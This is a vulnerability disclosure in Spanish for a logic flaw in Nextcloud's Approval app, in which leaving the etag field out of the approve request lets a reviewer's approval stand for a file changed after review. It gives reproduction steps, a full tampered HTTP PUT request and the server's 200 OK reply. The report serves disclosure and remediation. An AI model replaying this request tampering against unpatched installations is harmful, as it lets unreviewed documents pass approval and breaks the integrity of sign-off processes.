Resumen
La aplicación Approval de Nextcloud permite montar flujos de aprobación: un usuario sube un fichero y pide aprobación, y otro usuario lo revisa y lo aprueba o lo rechaza. Para que nadie apruebe un contenido distinto al que ha leído, la app usa el etag del fichero: si el fichero ha cambiado desde que el aprobador lo revisó, la aprobación no debería aceptarse.
El problema es que el backend solo aplicaba esa comprobación cuando el parámetro etag venía en la petición y no estaba vacío. Si el campo simplemente no se enviaba, la validación se saltaba y la aprobación (o el rechazo) se registraba igualmente. Basta con interceptar la petición que hace la interfaz y borrar el campo etag del cuerpo JSON.
Endpoint afectado:
PUT /ocs/v2.php/apps/approval/api/v1/approve/<id>
El fallo tiene asignado el CVE-2026-82982 y el aviso GHSA-7php-cxrr-v4m3. Hubo recompensa (importe no público). Reportado el 17 de marzo de 2026 y divulgado el 17 de septiembre de 2026.
Pasos de reproducción
Requisitos previos: un flujo de aprobación configurado en el que test1 puede solicitar aprobación y test2 puede aprobar, con acceso al fichero pendiente.
- Crear el flujo de aprobación.
- Iniciar sesión como
test1y subir un fichero, por ejemplopoc.md. - Como
test1, solicitar la aprobación de ese fichero. - Iniciar sesión como
test2y revisar el contenido del fichero. - Como
test2, pulsar Aprobar e interceptar la petición con Burp. - Volver a la sesión de
test1y modificar el fichero. - En este punto,
test2no debería poder aprobar un contenido que acaba de editarse y que no ha revisado. - En la petición interceptada de
test2, eliminar el campoetagdel cuerpo JSON y reenviarla:
PUT /ocs/v2.php/apps/approval/api/v1/approve/14831 HTTP/1.1
Host: 172.16.88.96:8081
Content-Length: 19
requesttoken: [REDACTADO]
X-Requested-With: XMLHttpRequest, XMLHttpRequest
Accept-Language: vi-VN,vi;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Origin: http://172.16.88.96:8081
Accept-Encoding: gzip, deflate, br
Cookie: oc_sessionPassphrase=[REDACTADO]; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocrzkzhsljc2=[REDACTADO]; nc_username=test2; nc_token=[REDACTADO]; nc_session_id=[REDACTADO]
Connection: keep-alive
{"message":"test2"}
- El servidor acepta la aprobación pese a que el fichero ha cambiado:
HTTP/1.1 200 OK
Date: Tue, 17 Mar 2026 08:30:21 GMT
Server: Apache/2.4.66 (Debian)
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-Robots-Tag: noindex, nofollow
Referrer-Policy: no-referrer
X-Powered-By: PHP/8.3.30
Content-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'
X-Request-Id: 8xMLCrwKUw0gFWKsJVTu
Cache-Control: no-cache, no-store, must-revalidate
Feature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'
X-User-Id: test2
Content-Length: 74
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
{"ocs":{"meta":{"status":"ok","statuscode":200,"message":"OK"},"data":[]}}
Impacto
La protección de "frescura" del contenido deja de servir, lo que rompe la integridad del proceso de aprobación:
- Se puede aprobar una versión del fichero distinta de la que se revisó.
- Un solicitante puede cambiar el fichero entre la revisión y la aprobación final.
- Los procesos internos de visto bueno pierden su valor como garantía, algo especialmente delicado si se usan para documentos legales, financieros, de cumplimiento normativo o artefactos de publicación de software.
El impacto real depende de lo sensibles que sean los flujos de aprobación en cada instalación.
Remediación
Nextcloud corrigió el fallo y lo publicó en el aviso GHSA-7php-cxrr-v4m3. El reporte no describe el cambio concreto.